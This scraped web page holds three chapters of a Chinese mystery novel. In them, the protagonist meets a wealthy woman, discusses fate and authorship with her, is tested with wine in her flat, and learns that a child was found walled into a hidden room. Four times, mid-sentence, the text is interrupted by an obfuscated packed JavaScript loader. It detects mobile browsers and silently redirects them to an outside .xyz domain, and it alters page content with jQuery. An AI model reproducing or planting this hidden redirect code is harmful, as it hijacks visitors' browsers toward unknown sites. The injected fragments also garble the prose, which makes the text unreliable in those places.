;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357036|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集了三个健谈的年轻人，但是现在，空气却寂静得像是要吃人。 “年轻就是好，倒头就睡。”月栀酒说着，把他们搬到了沙发上。“这俩孩子咋说啥都信呢，这都2024年了，谁家闭关是当真与世隔绝的？这刻板印象也是有点深远，小爷我可从来都不是‘两耳不闻窗外事，一心只读圣贤书’的好学生啊……” 月栀酒搬完人之后就没有其余的动作了。 他本来想礼尚往来摸进1403看看木沐拿走了他什么东西，但是又想到自己压根儿就没有撬锁的技能，只好就此作罢。反正他把木沐和威妮娃骗过来放倒，本来就只是为了验证一个直觉的虚实，没有做其他多余动作的必要。 墙上的电子时钟从四点跳到五点。 时间过去了半个小时，月栀酒知道空间磁场的流动肯定已经帮某人酝酿出了一台有意思的好戏，现在就差他这个观众到场了。 想到这里，月栀酒终于决定——拎垃圾下去扔，顺便散个步。 …… 他在门口发现了威妮娃留下的小机关，没有在意，就让这么它原封不动的粘在门把手上。 走出单元楼，月栀酒扔了垃圾，迎面就看到一个正在喂流浪猫的女人。 就是她—— 月栀酒在心中默默按下了确定键。 “咪咪，你怎么不吃呢？来嘛，你看你都瘦成皮包骨头了。”女人手里拿着猫粮，在跟几只明摆着还没有成精，听不懂她说话的猫自言自语。 月栀酒走过去坐在她旁边的长椅上，距离不算太近。 女人看到了他，却假装没有看见。 “小黄猫儿，你不再吃一点吗……” 女人大概把月栀酒当做空气了五分钟，把所有猫粮全部倒完之后，她拍了拍手上的猫粮残渣，转头看向月栀酒。 “这位先生，请问你是有什么喜欢看人喂猫的奇怪癖好吗？你知不知道随便盯着一个美女看是很不礼貌的？” 月栀酒因女人反客为主的质问而笑，身体却很绅士地微微欠身，话语不由自主地跟女人的语言逻辑靠近。 “那敢问这位女士，你是有什么爱用人形GPS的恶趣味吗？你这也并不像淑女的行为。” 女人听到这句话的一瞬间有点恍惚，然后开心地笑了笑，伸出右手，比出了握手的姿势，“哈哈哈，没想到我们这么快就见面了，月栀酒……你可以叫我巫漓儿，也可以叫我你认为好听的外号，但答不答应就要看我的心情了。” 月栀酒握了巫漓儿的手，只是意思一下就松开，“您都叫出我的名字了，应该就不用我自我介绍了吧？” 巫漓儿微笑问：“你是专程下来找我的？” 月栀酒想起巫漓儿在电话里对舒远山的态度。当时巫漓儿告诉舒远山他被窃听了，并且直接叫他白痴……那样嚣张跋扈的语气和月栀酒眼前人的样子可谓是判若云泥。 他客套说：“因为巫大小姐您迟迟不上楼来敲门，我瞧着这天色也快要下雨了，不想让您被雨淋着。” 巫漓儿的笑容突然僵在了脸上，一闪而过的惊恐表情划破了她放在人群中都高人一等的容貌。她前一秒的表情是发自内心的微笑，而后一秒钟的表情则略微偏向了强颜欢笑的阵营。 “作为一个没有带伞的人，我劝还是不随口讲这种空口白话比较好，太不走心了……还有，就冲你刚刚胡言乱语的那番话，我可以理解为你是想挑逗我吗？” 19. 奇门凶杀案 月栀酒没料到她会这么问，连忙摆手，几乎要把他这辈子学过的道歉词全部用上，“抱歉，对不住啊，让你误会了，我表示十二分的歉意，我确实是没有这个意思……” 这句话似乎是点燃了巫漓儿心中火药的引线，她眼眸深处黯然神伤的基地是由废弃报纸叠成的宫殿，有个黑衣人在上面浇了油，手里拿着打火机正准备扔进去。 月栀酒无意间走进了这个地下王宫，小心翼翼从背后围绕那黑衣人，竟越来越觉得那个黑衣人其实是自己。 巫漓儿知道月栀酒注意到了她，但是现在她并不想被注意。于是，她从皮包里拿出了一个很时尚墨镜，二话不说挂在耳后，担在鼻梁上。 墨镜—— 月栀酒曾一度以为这种东西是为了防止别人窥探到自己的内心而被发明出来的隔绝手段，其次才衍生出来遮挡紫外线的功能。 “既然不想被别人窥探内心，为什么还要主动送上门来呢？”月栀酒问。 巫漓儿不肯接他问题，仰着头回：“不好意思，我听不懂你在说什么……我从就小娇生惯养，眼睛见不得刺眼的光线，让月公子见笑了。” “不敢。” 巫漓儿跳转话题，“按理说你从未见过我，你是怎么知道我是谁的？” 月栀酒指着周围寥寥无几的行人，“巫大小姐，您瞧瞧这片小花园，再想想您方才的行为，难道不觉着奇怪吗？。” “哪里奇怪？”巫漓儿穿着粉红色风衣，双手插在口袋里，心不在焉地反问他。 “你在喂猫。” “是又怎样？这个理由未免也太随意了。难道你们这个小区里就没有人喂流浪猫吗？那这些猫也太可怜了。” 月栀酒觉得巫漓儿对他抱有一种似有似无的怨气，她明明字字句句都能听得明白，却要非要装作不懂。好在月栀酒下半场没有单排，有得是时间跟巫漓儿掰扯。 “喂流浪猫是最不容易被怀疑的举动，因为这里是出了名的流浪猫多，而恰巧方圆几公里内又都没有办法找到一个售卖猫粮的地方，所以你绝对不可能在这里看到了流浪猫之后，专门跑到几公里外的店铺去买猫粮。” “推理有点意思，可你又是怎么怀疑到我身上的呢？占卜出来的吗？”巫漓儿明显是话里有话。 “对于一般的人来说，这个举动确实是不值得怀疑，但是你就不一样了。你似乎对我的一切都很熟悉，而且早就准备好了要来，完全有时间到别的地方去买猫粮。” 巫漓儿冷哼一声，态度有些鄙夷，“你想太多了，像你们这种自作聪明的人，偏偏就是最容易被自己给的脑回路给坑死，我只是来之前刚好在喂猫，顺手拿过来了而已。” “好吧，不重要。我下楼之前就一直在想，你是一个什么样的人，又找我有什么事？我之所以会怀疑你在我身边安插了眼线，其实也只是因为一个突如其来的想法而已……或者也可以说是直觉，我很相信我的直觉。” 巫漓儿仰头望天，外面天色阴沉，快要下雨的样子。她墨镜底下隐隐透出双眸的轮廓，上下唇轻轻碰撞，用叹息的语气说：“直觉啊，害人的东西……我更相信缘分和命运。” “我猜到你的眼线是我的邻居，所以我先试探了花教授，排除嫌疑之后，顺利锁定了木沐和威妮娃……” “月公子，我对你的推理过程并不是很感兴趣。” 月栀酒不管她，继续说道：“然而木沐和威妮娃都绝非普通凡人，能支使动他们的人，巫大小姐，请问您这尊大佛莅临寒舍有何贵干？” “你这人真是没有礼貌，客人远道而来，你都不请我去家里坐坐吗？”巫漓儿语气平淡，感觉根本就没有听到他说的话。 他们二人之间的交谈就像在两个图层的小人偶然间听到了对方的声音从电话里传出，对牛弹琴般胡说八道了一通，便挂断了电话。除此以外的绝大多数时候，他们都沉浸在自己的世界里与自己辩论。 “您这个要求恐怕还真是有点儿困难。眼下有两个年轻人正躺在我家里睡觉，我还正愁他们醒了要怎么解释呢，咱现在回去无异于是投案自首。” 巫漓儿露出了一抹看着小丑演戏般的笑容，“你放倒这两个本事不凡的小家伙之前，难道就没有事先想好狡辩的说辞吗？” “巫大小姐您说笑了，我当然有想过的呀。我原本是打算把你绑上去给他们一个交代，到时候就如实说，说我害怕被有心人跟踪，怀疑他们是眼线，这才把他们放倒的。他们俩都是脸皮薄的小家伙，被我强硬拆穿了，又知道我没有那么好惹，自然就不会再来找我的麻烦了。” 月栀酒的语句停顿了几秒钟，巫漓儿仍然注视着灰白色的云海，头也没偏地呛月栀酒：“继续说呀，铺垫这么多，不就是想说‘但是’后面的鬼话吗？” 巫漓儿看上去不像是有耐心的人，就算是戴着墨镜，月栀酒也能看得出她无聊到快要打瞌睡的状态。这样的巫漓儿说话刻薄而直接，和医院里跟舒远山打电话的身影相相重合。 月栀酒等的就是这一刻，一定要抓住主动权，磨掉对方的耐心，这样子聊天才会更加顺畅。 “但是就是，我想问问你的意见。” 巫漓儿很无所谓地回答：“我的意见是‘三十六计，走为上计’，回不去就不用回去了，让他们梦着吧，等一觉睡醒了再说。” 月栀酒看她不像在开玩笑，但是说出来的内容却似孩童不负责任的精致胡闹。 “既然你没有打算请我去你家坐坐，那你就来我家吧，我请你吃饭。” “让女士请客吃饭多不好意思，我知道附近有一家品味很高的店，不如我请您尝尝去……” 巫漓儿往小区外边走去，回头催促月栀酒：“你还在那里废什么话？我告诉你，你现在是被我绑架了，我的车就在那边，粉红色的跑车，只要你不瞎就能看到，识相的话就自己滚上去。” 月栀酒很久没有遇到过这么有意思的“绑架”了，甚至还有些期待地快走两步跟上去。不管怎么说，他的人生信条就是随意洒脱，有人请客吃饭，他哪里有说不的道理？ …… 在跑车旁边，巫漓儿故意绕到副驾驶的车门前。 “月公子，我才开了两个小时的车过来，现在累得不行，要不一会儿就你来开车吧？” 月栀酒没有就自己不会开车的事实展开自证，而是从车尾也绕到副驾驶那边，悠闲自得地问巫漓儿：“巫大小姐既然累了，为什么不请司机过来开呢？如果你的司机不方便的话，我的司机刚好有空。” 巫漓儿也不再纠缠，绕回驾驶座，两人一同坐了进去。 她给车点燃了火，回答月栀酒的问题：“请司机的人都是无聊的家伙，如果让司机来开，我还要怎么飙车呢？” 月栀酒懒得动脑，直接就胡乱套用迎合公式里的夸奖词，“喜欢飙车的人都是好兴致。” 巫漓儿摘下墨镜，系好了安全带，手脚全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357037|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部准备就绪，对月栀酒说：“这位乘客请拉好扶好，系好安全带，我们要出发了。” …… 一路上巫漓儿都踩死了油门，月栀酒眼见粉红色跑车窜过车的长龙，无数次即将撞上又惊险偏开。 “刚刚那块限速牌有点儿掉色了，还挺容易被忽视的哈……巫大小姐，鄙人心脏不好，要不然您还是……” 巫漓儿偏头不满地看向月栀酒，脚下的油门也丝毫没有松懈，这一举动又把他吓得胆战心惊。他咽了咽口水，把让她减速的话给一起咽了下去，改成了：“注意安全。” “你想知道杀害舒久月的凶手是谁吗？”巫漓儿在红灯前急刹，车身都翘起来一截，她也在捋了捋头发之后话锋一转，问出了这个问题。 月栀酒抓着车右侧的扶手，心有余悸地说：“想……想啊，是个正常人都会想的吧，毕竟吃瓜乃人之本性。” 绿灯亮起，粉红跑车又以高速起步。 “想知道就听我安排，不要动歪脑筋，也不要多话，否则我敢保证你们一辈子都找不到凶手。” 月栀酒双手投降，“是是是，那肯定的，在下保证安分守己……那个，大小姐您能不能稍微脚下留情这么一点点儿？您再快一码我就可以死半道上了！” “原来月公子不喜欢刺激啊？那你倒是早说啊，早说我不就会开稳点了吗？”巫漓儿微微降低了一点速度。 月栀酒不知道，此时巫漓儿想的是：如果你真的不喜欢刺激就好了，那么以前和以后的所有事情就都不会发生。 …… 巫漓儿开进小区，在迷宫一样的地下车库里停车。 月栀酒松开抓手，活动着抓麻了的手腕问：“巫大小姐，您个儿真是好兴致，为什么头一次见面就请问来你家里做客呢？” “因为我觉得有趣。”巫漓儿的车技还不错，两把就倒进了车位，“如果是男人约第一次见面的姑娘回家，无论是谁都会觉得男人目的不纯，被带回家的女孩儿太傻，不懂得自我保护。而如果是一个女生约头一次见面的男人回家，别人只会觉得这个女人放荡，男人的约会太过于容易，这个女人肯定不是什么好东西。” “呃，这话它有点……说这话的人其心可诛！”巫漓儿的这段话说得连月栀酒都不会接了，他憋了半天才犹犹豫豫地像挤牙膏一样吐出了这么一句。 奇了怪了，这个人是怎么回事？她为什么会突然跟他说这些？这些话可不像是能跟陌生异性人随口交谈的饭后家常。 二人一同下车走进电梯，巫漓儿按下93楼的电梯按键。 月栀酒本以为电梯上到93层会有挺长一段时间，但是没想到楼层的转换比他数字表上秒的跳动还要快。 “到了。”巫漓儿说。 月栀酒出电梯，就只看到了一扇门。 巫漓儿的家是位于市中心的大平层，家具装潢都是请国内知名设计师来设计的。 刚进门那整整一面墙的酒柜彻底打动了月栀酒的心。他默默下定决心，回家就请设计师来改造这么一个豪华版酒柜装饰墙。 巫漓儿换了拖鞋，往里面走着说：“这套房是我的成年礼，我在永生就只有这一套房，离你所有的房产都不远。我这里什么好酒都有，你空闲的时候可以过来喝两杯。” 巫漓儿挥手招呼他过去坐，月栀酒恋恋不舍地离开酒柜，坐到造型夸张的沙发上。 保姆阿姨给他们两个人都分别倒了半杯温水。 20. 奇门凶杀案 “你在市中心有这么好的一套大平层，为什么要跑去城边住庄园呢？不是很不方便吗？”月栀酒放下水杯，问巫漓儿。 “庄园不是我家的，我也只是去那里蹭吃蹭住的无赖之徒……”巫漓儿冲一旁扎着短马尾的女厨师喊道：“Cindy，菜单给他。” 女厨师Cindy刚拿了菜单准备过来，月栀酒就说：“不用了，我客随主便就行，不忌口。” 巫漓儿也不再客气，跟Cindy说：“那你自己随便搭配一点吧，不用太复杂，我今天想吃酸辣口的。” Cindy说好，走进厨房，保姆也看得懂巫漓儿的眼色，躲去她自己的房间了。 月栀酒不太理解为什么人们谈事情总喜欢请客吃饭，他今天吃了一天，现在真的是一点胃口都没有。 巫漓儿把他落在一边，拿了几张A4纸，一个人在餐桌上写着什么。 过了20分钟。 嗡嗡嗡—— 月栀酒的手机振动起来。 是木沐打来的电话。 他望了眼巫漓儿，从容地接起电话，二话不说就直接按下免提，把音量调到最大。 “喂，小木同志，你们终于睡醒了？” 巫漓儿写字的手一顿，站起来走到这边。 木沐在电话那头说：“——对呀酒哥，我和威妮娃昨天晚上都没有睡好，之前真是太困了，也不知道怎么回事，莫名其妙的就睡着了。” 威妮娃也在一旁用调皮的娃娃音调侃月栀酒，“——栀子花哥哥，今天我亲身体验到了一个真理——可乐真的是垃圾食品。你家里的这些不健康食物我都已经帮你丢掉了，你以后也少吃一点吧，别什么时候就不幸中招了。” 巫漓儿走到月栀酒面前伸手，月栀酒就很自然地把手机放到了她手上。 “两位小朋友，你们好啊！” “——哇，是漓儿姐姐，你怎么跟栀子花哥哥在一起呀？” 巫漓儿单手拿着手机，眼睛看着另一只手新做的中梯型美甲。 “你们的月公子被我绑架了，快想想要用什么东西来赎他吧，说好一手交钱一手交货，没钱的话我可能会撕票哟。” 月栀酒在旁边听着觉得很好笑，也过来插嘴，“是啊是啊，今儿个我遇到了一个想请我吃大餐的绑匪，她还喜欢飙车，差点没把我给吓死，你们快来救我啊～” 威妮娃傲娇地哼了一声，说：“——我才不救你呢！绑匪姐姐，这个人特别喜欢使坏，你一定要千万小心，别上了他的当，一旦发现他有什么小动作就立刻撕票！” 巫漓儿笑回：“感谢这位热心小妹妹的提醒，我一定对人质严加看管。” 威妮娃把手机丢还给了木沐。 巫漓儿继续用开玩笑的口气说：“你们还是回家忙你们自己的，别在人家家里捣乱了知不知道？听说木沐小同学的老师这几天要去家访，你还不赶紧准备？” “——不是吧，怎么连她都知道了？”木沐问威妮娃：“是不是你泄露的？我的悲惨日志用得着到处宣传吗？” “不是啦，你别冤枉她啊，威妮娃才懒得管你呢，这是我自己查的。好了，你们快回去吧，记得帮月公子锁好门，不准偷拿人家东西哦……” 巫漓儿说完，也没有问月栀酒还有没有什么要说的，直接就挂断了电话。 厨师Cindy很快就做好了晚餐。 他们显然都没什么食欲，随便吃了两口就扔下碗筷，回到沙发这边了。 巫漓儿顺带着把她几分钟前写写画画的A4纸拿了过来，坐到沙发上说：“我最近在研究一个哲学问题，百思不得其解。月公子你比我有学问，可想来试试？” “洗耳恭听，不过我对哲学没有研究，可能没有办法给你一个满意的答复。” 月栀酒的位置离巫漓儿不算远，大概一米开外，这个距离和位置交流起来很舒服。 巫漓儿早有准备般，把手里的A4纸递过去。 月栀酒接过来，看见上面很莫名其妙的一个人物小传。这个小传是由碳素笔书写的，字迹算不上有多好看，但是大气、清洁，让人有看下去的欲望。 ［姓名：王春春。］ ［性别：女。］ ［籍贯：吉滇市。］ ［1942年出生，死于2022年，享年80岁整。］ ［汪小春的家庭就是城里最普通的平凡家庭。她从小就很努力读书，但是从来没有挤进过班级前十名，因为她天资愚钝，完全就不是学习的这一块料。］ ［她上了一个中专，学医，毕业后在医院里当护士。她偶然间遇到了一个重病在床的有钱病人，跟他迅速萌生情愫，订了婚。］ ［有钱病人给了她一笔足够她生活20年的彩礼，但是在新婚前夜，汪小春发现丈夫出轨，于是取消了订婚仪式。］ ［有钱病人没有追回那笔彩礼，因为这些钱对于他来说，根本连九牛一毛都算不上。］ ［汪小春感情失败，决定用这笔彩礼投资做生意，但是她每次生意即将迎来高峰时，就总是会跌落谷底。——这样的悲剧，持续到她80岁终。］ ［父母中年而亡、事业无成、无夫无子、身无分文、轻如鸿毛、因病惨死……］ …… “看完了吗？” “看完了，很惨……”月栀酒不理解，“可是这个汪小春是谁？” “我瞎编的一个人。” “……好吧，她就是你哲学难题吗？” 巫漓儿捋了捋耳边的碎发，拿橡皮筋把自己的头发扎起来。 “这个哲学问题很奇妙。我创造了一个人物叫汪小春，不需要在意动机和背景，她的诞生与否全都在我的一念之间——这听起来是不是很像神的口吻？假如你手里的那张纸真的是司命星君的运簿，那么这个叫汪小春的可怜人就已经出生，经历完世间所有原本不属于她的悲惨命运，并且惨死了。” 月栀酒说：“你想说每个人的命运都是被提前安排好的？这有点像某些宗教的观点。” “没错，汪小春这辈子所有的不如愿都来源于我，最后我甚至还还可以写她被残忍杀害。凶手可以是任何一个人，杀人原因可以只是因为简单的乱杀。不管那个人想不想，只要我写下来，他就会担负起一件命案。 “如果给汪小春一个总结陈词机会，她会痛斥她的父母，领导甚至是上苍，但绝不会责怪我，因为她连我的存在都从未想过——这就是神明看人类的愚蠢，或者高维看低维的漠视。就算警察在她的世界找到凶手，那也绝对不可能是真正的凶手，因为真正杀死她的人是我，真正想让她死的那个人也是我。无处说理，也没有人会给她说理的机会。 “或者我干脆再过分一点，直截了当地写凶手消失了——这将是世界上最完美的犯罪。在我这个位置上的人轻松到连计谋都不用想，因为这不是小说，不需要逻辑……月公子，如果真的是这样，换作是你来找寻凶手，你该怎么办呢？这就是我思考了很久的哲学问题，难度没有太让你失望吧？” 月栀酒手杵下巴，是真的有认真在思考。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357038|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他之前就预测到凶手消失了，但是去向无踪，巫漓儿应该是把答案揉进一个有几分相似的哲学问题当中，委婉地告诉他。 月栀酒想了想说：“这不是一个问题，你没有办法通过挖两个洞来达到把一个洞越挖越深的目的。” 巫漓儿摇头否认了他的话，“不，我要的不是亚里士多德的垂直思考法，而是爱德华·德·波诺教授的水平思考法。虽然我提出了一个哲学问题，但是思考世界的真相是哲学家的工作，我不在乎。我现在想说的是，如果本来就有两个洞，而凶手在另一个洞里，你没有办法通过把一个洞越挖越深，来达到挖两个洞的目的。” “好，现在你的前置条件是有两个已经被挖好的洞，那么我只要跳出我所在的这一个洞，就可以看到这两个洞里的一切。” Cindy的下班时间了，她临走前切了果盘，让保姆端给他们过来放在茶几上。 果盘里有八种水果，整体造型似乎提高了水果的口感。 巫漓儿用叉子叉起一块火龙果，长美甲沾下来一颗火龙果杍，放在食指和拇指之间捏碎。 “我听说蚂蚁是二维生物，也就是说，一旦你爬出这个洞，就什么都看不到了，看不见A洞里的光景，也与B洞无关。在我的例子里，你就是这样的一只蚂蚁……更要命的是，A洞与B洞相连，不是一般的土坑，而是黑洞，除了这两个黑洞以外，你无法活着去到任何的第三地带。” “可是这样就没得谈了。”月栀酒也拿起叉子戳起了一块火龙果吃掉。 “就是要把条件卡死，答案才有意义。”巫漓儿转着叉子上的火龙果，没有吃的打算，“请你回答吧。” 外面天色已经黑了，日落黄昏为湛蓝的天色被墨染黑做过渡工作，深橙色的太阳一旦落幕，黑夜便会包裹整个世界。 花教授和高琴都没有再跟月栀酒联系，他不知道舒久月的儿子有没有被找到，也不知道他们那边有没有什么新的线索。 月栀酒没学过哲学，所以从来没有被哲学家的思想束缚，很快就想到了一个极不负责任的答案。 “找到舞台上不自知的凶手，或者找到幕后真正的杀死演员的编剧……我不会这么做。” “有话直说。” “台面上的凶手自然有警察去捉，我算个什么东西？就算想要多管闲事，也管不上。至于那个创世神一样的家伙，它也很悲哀啊。” “悲哀……这要从何说起……” “你可以创造汪小春，汪小春自然也可以创造别人。这样七拐八绕算下来，说不定创造你的人还是被她创造出来的呢……这个世界本来就是一个巨大的神明游戏，每个人都同时担任着蝼蚁和神明两个有巨大落差身份，谁不比谁高贵，谁也不比谁低等，谁也没有资格笑话谁。” 月栀酒又笑着叉了半颗阳光玫瑰放进嘴里，“从前有一个人跟我说过，假如你沉浸在一个问题里无法自拔，千万要送给自己一句话——笨蛋，你想这么多有什么用，洗洗睡吧！” 巫漓儿把叉子搭在餐盘边，想到了什么事情，笑容冲破了她的脸。 “果然啊，很多时候小孩子的思路才是最高明的。” 月栀酒心里的天梯蓦然塌了一节。 小孩子…… 巫漓儿怎么知道这句话是一个小孩子说的？ “月公子～”巫漓儿走到酒柜前，只是看着那面墙的酒柜，就已经开始痴迷地用醉酒的语气说话了，“月黑风高，花好月圆，这是个好夜啊，我们来喝酒吧……我看看，罗曼尼康帝怎么样？” 21. 奇门凶杀案 “或者月公子你来选选，有没有什么你中意的酒？” 巫漓儿的笑容很妖艳，但是越往里剥就越看不出笑意，只能堪堪滴出人类存在以来，世界上所能找到最粘稠浓苦的远古憎恨。 “刘妈，我去洗个澡，你帮月公子收拾一下客房，准备洗漱用品，他今天晚上留宿。” “不用麻烦了。”月栀酒立时站起来摆手说：“天也已经黑了，我在这里留宿不好，就先回去……” “你被绑架了，我说过的。”巫漓儿站在浴室门前，扶着门框说：“月公子，人质向来是没有选择的权利的……刘妈，今天你去楼下住吧，在外面锁好门。在这个家里，他可以随意活动，你不要干扰到他了。” 她说完就走进里去了。 月栀酒没有听到锁门的声音。 “怎么回事啊……”月栀酒小声嘟囔。他总觉得巫漓儿在暗示他什么，但是他很快又想，似乎连他这个想法也是龌龊的。 巫漓儿在手机上调出月栀酒在客厅里一举一动的监控，微微勾起唇角，开始用花洒放水。 …… 过去半个小时，巫漓儿洗完澡出来，月栀酒此时正坐在沙发上发信息问高琴办案的进度。 巫漓儿推门出来的时候，那乌黑的长发上还隐隐残留着水气，脸颊被蒸出一道娇羞般的红晕，又因为她本来就生的实在是好看，竟连月栀酒这种不懂风情的家伙也罕见地在心里称赞了她两句。 “选好酒了吗？”巫漓儿弯弯的眼眸被月牙学了个真切，可是月亮早已死亡，这个比喻也早已死亡。 月栀酒还是那副顿感唐突的神情，说：“这样真的不太好吧。您说您这，我也不知道你有没有男朋友，就算没有，咱们这个人生地不熟，啊不是，咱们这个对彼此都不熟……我已经蹭了你一顿饭了，你说我要是再喝你一瓶酒，那我岂不是……” “只是蹭瓶酒喝而已，哪里不好？”巫漓儿半哀半笑问着，伸手便打开酒柜去拿罗曼尼康帝，“这可是好酒，我最近都舍不得喝呢，今天便宜你了。” 她的浴袍在走路之间一闪一闪露出黑色内衣的肩带。巫漓儿把酒放在茶几上，用开酒工具打开，动作算不得有多细致，只能说是不粗糙。 “不如绅士来倒酒？” 她把酒瓶稳稳递到月栀酒面前，后者只好接过酒瓶，分别往两个红酒杯中都倾斜着倒了一些。 “你说不好，是因为人。”这是一个陈述句。 “没有，瞧您这话说的，我只是觉得这样的习惯不太安全。”月栀酒倒完了酒，轻轻把酒瓶放在桌子上。 “如果我是跟你一见如故的好兄弟，想约你喝酒到通宵，甚至就赖在你家不走，你会觉得不安全吗？如果会的话，那么你第一次见木沐就怂恿对方喝酒的行为实在是知法犯法、恶劣至极。” 巫漓儿端起酒杯抿了一口，表现出很满意的样子。 “我发现控制变量真的是世界上最伟大的东西。同样的场景，同样的字句，我有样学样，却变成了不安全。多亏你愿意站在我的角度上考虑事情……听说月公子生性爱酒，可酒量却不好，不知道这是不是真的？” 月栀酒也抬起酒杯品尝着这个没有在他的酒柜里出现过的好酒。 不得不说，这种东西对他而言有足够致命的吸引力。 “这还真是半点不假，所以巫大小姐您忍痛割爱的这瓶罗曼尼康帝，在下也只敢略微品鉴几口……” “你是想拂我的邀请吗，月公子？你很想尝尝这瓶罗曼尼康帝的味道不是吗？现在它已经被打开了，你想品尝多少、多久都可以，它今天晚上属于你，你一定要喝到尽兴，喝完了也是极好的。” 面对巫漓儿充满挑衅的语调，月栀酒虽然被这酒勾起了一丝情调，但是他更知道，巫漓儿根本就没有这个打算。 ——这位巫大小姐根本就是在拿他做实验。 虽然不清楚最终目的和原因，但是月栀酒早在一个小时以前就发现了巫漓儿充满恶趣味的实验。 她想以自己为诱饵，一步步用容貌、身材、家事背景压成的砝码，试探着压偏天平的指针，杜撰一个子虚乌有梦幻温柔乡引诱月栀酒上钩。而一旦他胆敢让天平有一丝歪斜，巫漓儿就正好可以抓住这个机会，宣判某样研究答案的死刑。 不过很可惜，她找错人了。 巫漓儿想找一个有自制力但综合指标平常的男人来参与“研究课题”，但是在月栀酒眼里，美人远远没有酒给他带来的精神冲击波热烈。 他是一个酒鬼，只是一个酒鬼。 “这位自大的先生，你已经不知不觉喝了三分之一瓶酒了。”巫漓儿像是能听见他的心里话一样，与他碰杯，“请你收起你那喜欢胡说八道的思维。我是想做实验，可我做这些的目的这和之前哲学问题一样，宏观的答案我不感兴趣，那些东西都交给专业人士去破译好了，我只是想知道我希望看清楚的那部分答案即可……” 思维跳跃如月栀酒，他也还是搞不清楚面前这个女人的脑回路，只好投降说：“好吧，实验……可是这样的话，只要实验出现失误，甚至都不需要失败，你就会容易受伤了。” “不会的。”巫漓儿意味深长地否认掉月栀酒，语气坚毅如开天辟地以来就矗立于天地之间的陆地海洋，声音似数十万年前就吹过山谷的晚风，“在这里，没有人可以伤害我，包括你也一样。” “你说什么？”月栀酒沉浸于美酒当中，一时没听懂巫漓儿说了些什么。 而巫漓儿只是轻飘飘地开口转移了话题问：“你头晕吗？” “还好。” “那就再喝点儿。” 他们一瓶酒从九点喝到十一点，巫漓儿拢共就喝了一杯，剩下的全灌进月栀酒肚子里了。 月栀酒虽然名字里带酒，但是酒量着实不算好，只是大半瓶红酒下肚，走路姿势就都变得晕晕乎乎的了。 巫漓儿看到月栀酒路都站不稳的状态，满意地笑了笑，走进主卧睡觉去了。 这次干脆连门都没关…… 探究女性被侵犯和主动勾引、穿着是否暴露、有没有喝酒等常见外在因素有何关联。 巫漓儿得到的答案是——毫无关联。 所有兽性都是人类诞生之初未被训话、未经历过挫折、肆意挥洒公兽伟大权威的原始欲望，它们用体外的因素来掩饰体内的龌龊，再栽赃给一切皮毛之下的洁净。如果白纸上有污点，那污点便可理所应当地替罪，如果白纸上连污点都找寻不到，那白纸本身就是勾引墨汁滴上去的原罪。 …… 第二天早上，阳光透过窗帘缝隙洒进卧室里，巫漓儿又一次从噩梦中惊醒，她猛然坐起来，惊奇地发现自己的卧室的房门居然已经被关上了。 后来她查了监控，看到昨天晚上月栀酒准备睡觉的时候，摇摇晃晃路过她的卧室门口，帮她关上了房门。在此期间，月栀酒还因为酒精的麻痹作用而撞到了头，因为怕打扰到正在睡觉的巫漓儿，而无声地张了半天嘴也没有发出声音，只是捂着脑袋蹑手蹑脚地走回去睡觉了。 “我都勾引成这样了，他一点反应都没有，可是为什么……” 巫漓儿自言自语到一半，突然像溺水的人再次得到空气一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357039|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，回过神来，脸上憎恨与恐惧交织的外壳碎裂，转而挂上世界与我无关的开心笑容。 “我忘了，这里是安全的。” 她三两下扎上了头发，开门走出去。 …… 外面月栀酒已经起床了，正帮着上楼来的保姆阿姨收拾家务。 “月公子真是中华好男儿，居然还会早起做家务。”巫漓儿调侃道。 月栀酒端着盘子说：“昨天晚上蹭了您的好酒，要是不做点什么，我心里也真是过意不去。” 其实月栀酒也是懒得做这些事情的。 今天早上高琴给他打电话说DNA检测的结果出来了，昨天晚上花教授在局里帮忙到很晚，最后才确定被封死在墙壁里的小孩就是舒久月的亲生儿子。 墙壁背后有一个大约20平方米的空间，里面有马桶、洗手台、床铺、被子等一应生活用品，高琴他们怀疑这个小孩一直都生活在这个狭小的空间里。 